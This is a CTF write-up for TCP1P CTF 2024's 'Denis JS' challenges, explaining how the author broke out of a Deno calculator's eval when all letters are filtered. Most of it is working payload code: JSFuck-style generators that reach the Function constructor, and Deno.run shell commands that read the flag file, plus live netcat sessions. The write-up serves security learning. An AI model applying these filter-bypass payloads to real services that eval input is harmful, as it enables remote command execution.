u.twoha.cc/ctf/tcp1p/misc_denis_js.md
2024-10-15 20:53:12 -05:00

16 KiB

title date tags toc
TCP1P CTF 2024: Misc - Denis JS, Denis JS (Fixed) 2024/10/15
ctf
true

Preface

This challenge was probably the most time-consuming CTF challenge I have ever completed (though I've sunk much more time into challenges that I don't complete 😄). Halfway through, my computer completely locked up due to some GPU error that I get from time to time:

Oct 12 23:56:00 nixos kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring sdma1 timeout, signaled seq=48378, emitted seq=48379
Oct 12 23:56:00 nixos kernel: [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process  pid 0 thread  pid 0

Normally, this just kills my Xorg server, but this time, the entire screen went black, the fans in my computer revved up to full speed, and the system became unresponsive, forcing me to restart.

As someone who likes to do all CTF-related work in /tmp (it's nice to have all my challenge downloads and half-baked scripts be cleaned up automatically), this caused me to lose all progress on this challenge.

Aside from this mishap, I also ran into so many dead ends that I describe in the appendix.

Anyways, if you know how to prevent this error from occurring, please contact me!

Task

Hello guys, Denis just make a simple calculator in js, can you try it?

attachment

  • Solves: 91 / 1110 (8.198%)
  • Points: 100
  • Author: Dimas & ayapi

There was a trivial bug on our previous calculator's code. Hopefully, this time there won't be a any issues

Connection: nc ctf.tcp1p.team <port>

attachment

  • Solves: 3 / 1110 (0.270%)
  • Points: 703
  • Author: Dimas & ayapi

Writeup

The first challenge has the following TypeScript source code:

const { stdout, stdin } = Deno;

async function promptUserInput(message: string): Promise<string> {
    stdout.write(new TextEncoder().encode(message));
    const buffer = new Uint8Array(300);
    const bytesRead = await stdin.read(buffer);
    const userInput = new TextDecoder().decode(buffer.subarray(0, bytesRead));
    return userInput.trim();
}

promptUserInput("Enter your name: ").then(name=>{
    if (/^[a-zA-Z]{1,}$/g.test(name)) {
        stdout.write(new TextEncoder().encode("\\(OwO)/"));
        return
    }
    stdout.write(new TextEncoder().encode(eval(name)))
});

We are prompted for some input with a limit of 300 bytes, which is evaled if it does not match the regex.

The regex will only match if our input consists entirely of upper- and lowercase letters, which is trivially avoided by adding a single digit or symbol, something that most code we want to eval has anyways.

Something to note is that this challenge is run through Deno instead of Node.js, so we use Deno.run to run a subprocess.

$ nc ctf.tcp1p.team 35605
Enter your name: Deno.run({cmd:['ls', '/']})
[object Object]bin
deno-dir
dev
etc
flag-0796d5bb5e880ff25693416ca4c98c80
home
...
$ nc ctf.tcp1p.team 35605
Enter your name: Deno.run({cmd:['cat', '/flag-0796d5bb5e880ff25693416ca4c98c80']})
TCP1P{hope_nagi_didnt_see_i_use_his_payload_to_solve_this_challenge}
[object Object]

This was not intended, so a fixed version of the challenge was released with the length limit increased to 330 bytes and the body of the then callback changed to the following:

const sanitizedName = name.replace(/[a-zA-Z]/g, '');
stdout.write(new TextEncoder().encode(eval(sanitizedName)))

All letters are now filtered from our input, making it much harder to evaluate useful JavaScript.

The existence of JSFuck makes it clear that this is still possible, but just running our previous solution through the JSFuck compiler produces something in the thousands of characters, which is much more than we can afford. Since we have access to more than just []()!+ though, we can make some significant optimizations.

The typical way to produce JavaScript without letters is by obtaining the Function constructor through (some function)['constructor'], which lets us create a function from a string argument, similar to eval.

Getting a function is easy; we can just use an arrow function to avoid using the function keyword. To get 'constructor', we can find each character in the string representations of false, true, {}, and undefined:

let f = !1;
let t = !0;
let o = {};
let u = 0[0];
// 'falsetrue[object Object]undefined'
let str = '' + f + t + o + u;
let str_src = "''+!1+!0+{}+0[0]";
// 'constructor' (246 characters)
eval('constructor'
  // split into an array of each char
  .split('')
  // turn each char into "(str_src)[index of char]"
  .map(c => `(${str_src})[${str.indexOf(c)}]`)
  // concatenate each char together
  .join('+'));

This is already a lot of characters though, as we repeat str_src for each char. Instead, we can make the optimization to only use one of the four sources for each char, which will halve our character usage:

function map_char(c) {
  let i, srcs = ["''+!1", "''+!0", "''+{}", "''+0[0]"];
  for (let src of srcs)
    if ((i = eval(src).indexOf(c)) !== -1)
      return `(${src})[${i}]`;
  throw 'not found';
}
// 'constructor' (122 characters)
eval('constructor'
  .split('')
  .map(map_char)
  .join('+'));

Another idea we could try is assigning str_src to a variable first in our evaluated string, and then only referring to that variable:

let con = 'constructor'
  .split('')
  .map(c => `_[${str.indexOf(c)}]`)
  .join('+');
// Uncaught ReferenceError (78 characters)
eval(`_=${str_src};` + con);

While this works in Node.js, Deno throws a ReferenceError. This is because Deno runs in strict mode, which requires us to declare _ before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.

We cannot overwrite an existing variable either, as there aren't any without letters. We can note that _ is already defined when running a REPL, but that does not help us since the challenge is not run in one.

The solution to our problem is to use an immediately invoked function expression, which will let us declare a variable as an argument without a keyword:

// 'constructor' (82 characters)
eval(`(_=>${con})(${str_src})`);
// Function (90 characters)
eval(`(_=>(_=>_)[${con}])(${str_src})`);

Now that we have Function, we just need to spell out our commands from the previous challenge. First, we will need the letter D. Looking at how JSFuck produces this character, we see that we can do something like this:

escape('}')[2]
// = '%7D'[2]
// = 'D'

// we can only access escape like this though
Function('return escape')()(Function)[58]
// = escape(Function)[58]
// = escape('function Function() { [native code] }')[58]
// = 'function%20Function%28%29%20%7B%20%5Bnative%20code%5D%20%7D'[58]
// = 'D'

Spelling escape requires the letter p, which we don't have. We can get this character with the following:

211['toString'](31)[1]
// = '6p'[1]  (convert 211 to base 31)
// = 'p'

Now we need S and g, both of which are contained in String, something we can obtain with ''['constructor']. Putting it all together, our solution looks like this:

// encode s into a concatenation of characters from source
function encode(s, source, var_name='_') {
  let result = [];
  let t = '';
  for (let c of s) {
    // letters need to be encoded
    if (c.match(/[a-zA-Z]/)) {
      if (t) result.push(`"${t}"`), t = '';
      result.push(`${var_name}[${source.indexOf(c)}]`);
    // otherwise, we can use a literal
    // if there are consecutive literals, we can merge them to save characters
    } else {
      t += c;
    }
  }
  if (t) result.push(`"${t}"`);
  return result.join('+');
}
// over the course of the iife, we will concatenate various strings to the first argument
let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = src1 + String;
let src3 = src2 + '6p';
let src4 = src3 + escape(Function) + Number;
// each statement in the function body, which we can chain together with the , operator
let body = [
  // $ and $$ are the 2nd and 3rd arguments, which are left undefined
  // we first build 'constructor' from _, and assign it to $$
  // since = returns the right-hand side, we also compute (_=>_)['constructor'],
  // which we assign to $
  `$=(_=>_)[$$=${encode('constructor', src1)}]`,
  // _ += 'function String() { [native code] }'
  `_+=_[$$]`,
  // _ += '6p'
  `_+=211[${encode('toString', src2)}](31)`,
  // Function('$_=escape')()
  // we can assign to $_ without declaring it since Function does not run in strict mode
  `$(${encode('$_=escape', src3)})()`,
  // _ += escape(Function) + Number
  `_+=$_($)+0[$$]`,
  // Function("Deno.run({cmd:['ls','/']})")()
  `$(${encode("Deno.run({cmd:['ls','/']})", src4)})()`
].join(',');
// 328 characters
let payload = `((_,$,$$)=>(${body}))(${args})`;
console.log(payload);

We can execute ls /, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, Deno.run does not interpret cmd as a shell command, so trying something like od /* will try to read the file named /* instead of globbing all files in /. For that, we would need to use sh -c "od /*", which is over the limit.

We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the btoa builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain D in its base64, to avoid getting escape (and p and String).

If we notice that btoa is implemented in JavaScript instead of native code though, we can just do this instead:

''+btoa
// equivalent to:
`function btoa(data) {
  const prefix = "Failed to execute 'btoa'";
  webidl.requiredArguments(arguments.length, 1, prefix);
  data = webidl.converters.DOMString(data, prefix, "Argument 1");
  try {
    return op_base64_btoa(data);
  } catch (e) {
    if (ObjectPrototypeIsPrototypeOf(TypeErrorPrototype, e)) {
      throw new DOMException(
        "The string to be encoded contains characters outside of the Latin1 range.",
        "InvalidCharacterError",
      );
    }
    throw e;
  }
}`

This alone contains all of the characters we need, simplifying our payload dramatically:

let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = '' + btoa;
let body = [
  `$$=(_=>_)[${encode('constructor', src1)}]`,
  `$$(${encode("$=''+btoa", src1)})()`,
  `$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()`
].join(',');
// 278 characters
let payload = `((_,$$)=>(${body}))(${args})`;
console.log(payload);

Now we just send our payload to the challenge and get the flag:

$ deno solve.js | nc ctf.tcp1p.team 35615
Enter your name: TCP1P{hopefully_the_code_would_be_more_likely_safe_by_now}

Appendix

While the solution described above really isn't that complicated, it took me a significant amount of time to find. During this time, I found quite a few almost working solutions that are still kind of interesting.

Octal escape sequence

There are a few different escape sequences in JavaScript. Aside from the usual escapes like \n, \t, and so forth, one noteworthy escape sequence is the octal escape. For example, \104 is equivalent to the character with the octal code 104, or D.

Since this doesn't contain any letters, we could just replace all letters in our strings with their octal escape sequence, bypassing many of the steps listed above.

However, octal escape sequences are a deprecated language feature and are prohibited when running in strict mode. Other escape sequences like \x44 or \u0044 wouldn't work either since they contain letters.

If you remember from above though, Function functions are not run in strict mode, so we can still use an octal escape there (something I didn't realize during the CTF).

With this, we can improve our solution like so:

function octal(s) {
  return "'" + s.split('').map(c => c.match(/[a-zA-Z]/)
      ? '\\\\' + c.charCodeAt().toString(8)
      : c
  ).join('') + "'";
}
let args = "''+!1+!0+{}+0[0]";
let src = eval(args);
let body = [
  `_=(_=>_)[${encode('constructor', src)}]`,
  `_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`,
].join(',');
// 219 characters
let payload = `(_=>(${body}))(${args})`;

prompt()

Before I found btoa, another thing I considered was finding some way to pass in extra input to the program to avoid having to construct so many strings.

Looking over Deno's builtin functions, prompt does exactly what we want, taking in input from stdin and returning it as a string.

Therefore, we can just do Function("eval(prompt())")() and type in the rest of our payload with no restrictions. A solution using this technique is as follows:

let args = "''+!1+!0+{}+0[0]";
let src1 = eval(args);
let src2 = src1 + String + Number;
let src3 = src2 + '6p';
let body = [
  `_+=_[$=${encode('constructor', src1)}]+0[$]`,
  `_+=211[${encode('toString', src2)}](31)`,
  `_[$][$](${encode('eval(prompt())', src3)})()`
].join(',');
// 236 characters
let payload = `((_,$)=>(${body}))(${args})`;

Testing this locally, we see that this does in fact work:

$ deno dist/app.ts
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+...
Prompt console.log('hiiiiiiiiiii')
hiiiiiiiiiii

If we try this in the real challenge though, the prompt does not show up for some reason. A glance at the source of prompt reveals the unfortunate truth:

function prompt(message = "Prompt", defaultValue) {
  defaultValue ??= "";

  if (!stdin.isTerminal()) {  // bruh
    return null;
  }
  // ...

Since we have to access the challenge through nc, stdin.isTerminal() will be false, meaning this will always return null.

Trying to read from stdin through Deno.stdin is also not feasible, since it is extremely verbose (see the challenge's implementation of promptUserInput).

Accessing name

Another thing we can notice is that name, which contains our entire unsanitized input, is not cleared in the program:

promptUserInput("Enter your name: ").then(name=>{
    const sanitizedName = name.replace(/[a-zA-Z]/g, '');
    stdout.write(new TextEncoder().encode(eval(sanitizedName)))
});

Thus, we might be able to make our input <solution>;"Deno.run({cmd:['sh','-c','cat /f*']})//" and execute Function("eval(name.slice(<some index>))")() at the end of our solution. We need to enclose this with quotes to prevent a syntax error when the letters are removed, and the // at the end makes the closing quote a comment when evaluating the slice.

This doesn't actually work though, since Function code is evaluated in the global scope, which does not have access to name. Coincidentally, there is an unrelated name in the global scope, which is just set to the empty string, so this won't throw an exception if you try this; you will just be evaluating nothing.

Improving solution reliability

If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from Deno.run do not prevent the program from terminating, and our shell command doesn't have enough time to print to the screen before the program ends.

It took me about two hours after finding a working solution before I realized this was the issue. Eventually, I tried sh -c ". /f* 2>&1" which has a much higher success rate.

When executing sh -c "cat /f*", Deno first needs to spawn sh, which then spawns cat. . is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran ls and cat separately, without using sh.

Appending ;for(;;); (infinite loop) to the Function code also solves this issue.

Reference